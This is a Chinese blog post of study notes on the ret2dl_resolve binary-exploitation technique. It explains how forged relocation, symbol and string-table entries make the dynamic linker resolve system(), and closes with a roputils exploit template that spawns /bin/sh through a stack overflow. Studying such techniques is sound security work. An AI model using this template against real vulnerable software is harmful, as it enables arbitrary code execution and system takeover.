• return to dl_resolve无需leak内存实现利用


    之前在drop看过一篇文章,是西电的Bigtang师傅写的,这里来学习一下姿势做一些笔记。

    0x01 基础知识

    Linux ELF文件存在两个很重要的表,一个是got表(.got.plt)一个是plt表(.plt)。这些存在的原因是ELF文件使用了延迟绑定的技术。当我们调用一个函数时,如果这是第一次调用,会动用plt中的寻找函数找出这个函数的虚拟地址,然后写入到got表中,之后第二次第三次调用就不需要再查找,直接把got表中的内容取出使用就可以了。

    为了实现这种设计的功能,plt代码中是这样写的

     1 0x8048340 <free@plt>:          jmp    DWORD PTR ds:0x804a00c
     2 0x8048346 <free@plt+6>:        push   0x0
     3 0x804834b <free@plt+11>:       jmp    0x8048330
     4 
     5 0x8048350 <malloc@plt>:        jmp    DWORD PTR ds:0x804a010
     6 0x8048356 <malloc@plt+6>:      push   0x8
     7 0x804835b <malloc@plt+11>:     jmp    0x8048330
     8 
     9 0x8048360 <puts@plt>:          jmp    DWORD PTR ds:0x804a014
    10 0x8048366 <puts@plt+6>:        push   0x10
    11 0x8048366 <puts@plt+11>:       jmp    0x8048330
    0x804a00c、0x804a010、0x804a014是free、malloc、puts对应的got表地址。plt代码首先会取出got表中的值,然后做一个跳转,如果是第一次调用函数,那么got表中的值是指向plt第二句的,比如0x804a00c的值就是0x8048346。
    plt的第二句会压入序号,因为free是got表中第一项,所以是push 0x0。而malloc是表中第二项,所以是push 0x8。之后跳入0x8048330。

    0x8048330处的代码如下所示
    0x8048330:    push   DWORD PTR ds:0x804a004
    0x8048336:    jmp    DWORD PTR ds:0x804a008

    0x804a000是got表的起始地址。+8处保存着查找函数,这里跳转到查找函数。

    ELF文件的节区如下所示(使用readelf -S ./tst)

    vb@unun:~/桌面/double free$ readelf -S ./tst
    共有 31 个节头,从偏移量 0x1844 开始:
    
    节头:
      [Nr] Name              Type            Addr     Off    Size   ES Flg Lk Inf Al
      [ 0]                   NULL            00000000 000000 000000 00      0   0  0
      [ 1] .interp           PROGBITS        08048154 000154 000013 00   A  0   0  1
      [ 2] .note.ABI-tag     NOTE            08048168 000168 000020 00   A  0   0  4
      [ 3] .note.gnu.build-i NOTE            08048188 000188 000024 00   A  0   0  4
      [ 4] .gnu.hash         GNU_HASH        080481ac 0001ac 000020 04   A  5   0  4
      [ 5] .dynsym           DYNSYM          080481cc 0001cc 000070 10   A  6   1  4
      [ 6] .dynstr           STRTAB          0804823c 00023c 00006a 00   A  0   0  1
      [ 7] .gnu.version      VERSYM          080482a6 0002a6 00000e 02   A  5   0  2
      [ 8] .gnu.version_r    VERNEED         080482b4 0002b4 000030 00   A  6   1  4
      [ 9] .rel.dyn          REL             080482e4 0002e4 000008 08   A  5   0  4
      [10] .rel.plt          REL             080482ec 0002ec 000020 08  AI  5  24  4
      [11] .init             PROGBITS        0804830c 00030c 000023 00  AX  0   0  4
      [12] .plt              PROGBITS        08048330 000330 000050 04  AX  0   0 16
      [13] .plt.got          PROGBITS        08048380 000380 000008 00  AX  0   0  8
      [14] .text             PROGBITS        08048390 000390 0001e2 00  AX  0   0 16
      [15] .fini             PROGBITS        08048574 000574 000014 00  AX  0   0  4
      [16] .rodata           PROGBITS        08048588 000588 000011 00   A  0   0  4
      [17] .eh_frame_hdr     PROGBITS        0804859c 00059c 00002c 00   A  0   0  4
      [18] .eh_frame         PROGBITS        080485c8 0005c8 0000cc 00   A  0   0  4
      [19] .init_array       INIT_ARRAY      08049f08 000f08 000004 00  WA  0   0  4
      [20] .fini_array       FINI_ARRAY      08049f0c 000f0c 000004 00  WA  0   0  4
      [21] .jcr              PROGBITS        08049f10 000f10 000004 00  WA  0   0  4
      [22] .dynamic          DYNAMIC         08049f14 000f14 0000e8 08  WA  6   0  4
      [23] .got              PROGBITS        08049ffc 000ffc 000004 04  WA  0   0  4
      [24] .got.plt          PROGBITS        0804a000 001000 00001c 04  WA  0   0  4
      [25] .data             PROGBITS        0804a01c 00101c 000008 00  WA  0   0  4
      [26] .bss              NOBITS          0804a040 001024 000084 00  WA  0   0 32
      [27] .comment          PROGBITS        00000000 001024 000034 01  MS  0   0  1
      [28] .shstrtab         STRTAB          00000000 001739 00010a 00      0   0  1
      [29] .symtab           SYMTAB          00000000 001058 000480 10     30  47  4
      [30] .strtab           STRTAB          00000000 0014d8 000261 00      0   0  1
    Key to Flags:
      W (write), A (alloc), X (execute), M (merge), S (strings)
      I (info), L (link order), G (group), T (TLS), E (exclude), x (unknown)
      O (extra OS processing required) o (OS specific), p (processor specific)

     

    0x02 如何利用

    查找函数的查找过程

    index_arg(push xx)——>.rel.plt(Elf32_Rel)——>.dynsym(Elf32_Sym)——>.dynstr(st_name)

    事实上,虚拟地址是通过最后一个箭头,即从st_name得来的,只要我们能够修改这个st_name就可以执行任意函数。比如把st_name的内容修改成为"system"。

    而index_arg是我们控制的,我们需要做的是通过一系列操作。把index_arg可控转化为st_name可控。

     那么我们要实现控制就要解决一下的几个问题:

    1.怎么计算index_arg才能控制.rel.plt(Elf32_Rel)值?

    index_arg是我们直接通过压栈参数进行控制的,使用要伪造的目标地址减去.rel.plt段基地址就是index_arg的值。其中.rel.plt段使用IDA是不能看到的,所以这里要使用objdump -s -j .rel.plt ./tst命令来查看。

    vb@unun:~/桌面$ objdump -s -j .rel.plt ./tst
    
    ./tst:     文件格式 elf32-i386
    
    Contents of section .rel.plt:
     80482ec 0ca00408 07010000 10a00408 07020000  ................
     80482fc 14a00408 07030000 18a00408 07050000  ................

    由于我的目标地址处于bss段上的0x804A06,所以就需要进行如下的运算:

    0x804A060-0x80482ec=7540,那么我们的index_arg的值就应该是7540,以指向.rel.plt

    2.怎么构造.rel.plt(Elf32_Rel)才能控制.dynsym(Elf32_Sym)值?

    当.rel.plt(Elf32_Rel)域落到可控区域之后要考虑的就是如何构造这个的值。

    使用readelf -r命令可以看到这些reloc项,其中处于.rel.plt的用于函数重定位也正是我们的目标。

    vb@unun:~/桌面$ readelf -r tst
    
    重定位节 '.rel.dyn' 位于偏移量 0x2e4 含有 1 个条目:
     偏移量     信息    类型              符号值      符号名称
    08049ffc  00000406 R_386_GLOB_DAT    00000000   __gmon_start__
    
    重定位节 '.rel.plt' 位于偏移量 0x2ec 含有 4 个条目:
     偏移量     信息    类型              符号值      符号名称
    0804a00c  00000107 R_386_JUMP_SLOT   00000000   gets@GLIBC_2.0
    0804a010  00000207 R_386_JUMP_SLOT   00000000   __stack_chk_fail@GLIBC_2.4
    0804a014  00000307 R_386_JUMP_SLOT   00000000   puts@GLIBC_2.0
    0804a018  00000507 R_386_JUMP_SLOT   00000000   __libc_start_main@GLIBC_2.0

    可以看出.rel.plt中的值满足如下Elf32_Rel结构

    typedef struct {
        Elf32_Addr r_offset;    // 这个值就是got表的虚拟地址
        Elf32_Word r_info;      // .dynsym节区符号表索引(下标为r_info>>8)
    } Elf32_Rel;

    其中第一项是对应的got表的地址。第二项经过>>8运算后是.dynsym节区的索引下标值,我们要控制的就是这一项。

    r_info的计算方法是

    1.n=(欲伪造的地址-.dynsym基地址)/0x10

    2.r_info=n<<8

    dynsym基地址使用objdump -s -j .dynsym ./tst来获取。

    3.怎么构造.dynsym(Elf32_Sym)才能实现控制.dynstr(st_name)值?

    typedef struct
    {
        Elf32_Word    st_name;   /* Symbol name (string tbl index) 这个就是*/
        Elf32_Addr    st_value;  /* Symbol value */
        Elf32_Word    st_size;   /* Symbol size */
        unsigned char st_info;   /* Symbol type and binding */
        unsigned char st_other;  /* Symbol visibility under glibc>=2.2 */
        Elf32_Section st_shndx;  /* Section index */
    } Elf32_Sym;

    .dynsym节区包含了动态链接符号表,符号表由Elf32_Sym结构表示。具体情况如上所示。其中第一项就是其对应的st_name到.dynstr节起始的偏移值。我们要把偏移值指向我们的可控区域,就能实现控制st_name

    .dynstr的基地址由objdump -s -j .dynstr ./tst来获得。

    3. .dynstr写入system完成利用

    .dynstr节包含了动态链接的字符,字符串是直接以ASCII码的形式储存的。所以在指针指向的地方直接写入ASCII形式的system即可达成利用!

     

    0x03 现成的脚本模版

    来自Github

    from roputils import *
    
    fpath = sys.argv[1]
    offset = int(sys.argv[2])
    
    rop = ROP(fpath)
    addr_bss = rop.section('.bss')
    
    buf = rop.retfill(offset)
    buf += rop.call('read', 0, addr_bss, 100)
    buf += rop.dl_resolve_call(addr_bss+20, addr_bss)
    
    p = Proc(rop.fpath)
    p.write(p32(len(buf)) + buf)
    print "[+] read: %r" % p.read(len(buf))
    
    buf = rop.string('/bin/sh')
    buf += rop.fill(20, buf)
    buf += rop.dl_resolve_data(addr_bss+20, 'system')
    buf += rop.fill(100, buf)
    
    p.write(buf)
    p.interact(0)
  • 相关阅读:
    前沿技术解密——VirtualDOM
    Ques核心思想——CSS Namespace
    Unix Pipes to Javascript Pipes
    Road to the future——伪MVVM库Q.js
    聊聊CSS postproccessors
    【译】十款性能最佳的压缩算法
    Kafka Streams开发入门(9)
    Kafka Streams开发入门(8)
    【译】Kafka Producer Sticky Partitioner
    【译】99th Percentile Latency at Scale with Apache Kafka
  • 原文地址:https://www.cnblogs.com/Ox9A82/p/5487275.html
Copyright © 2020-2023  润新知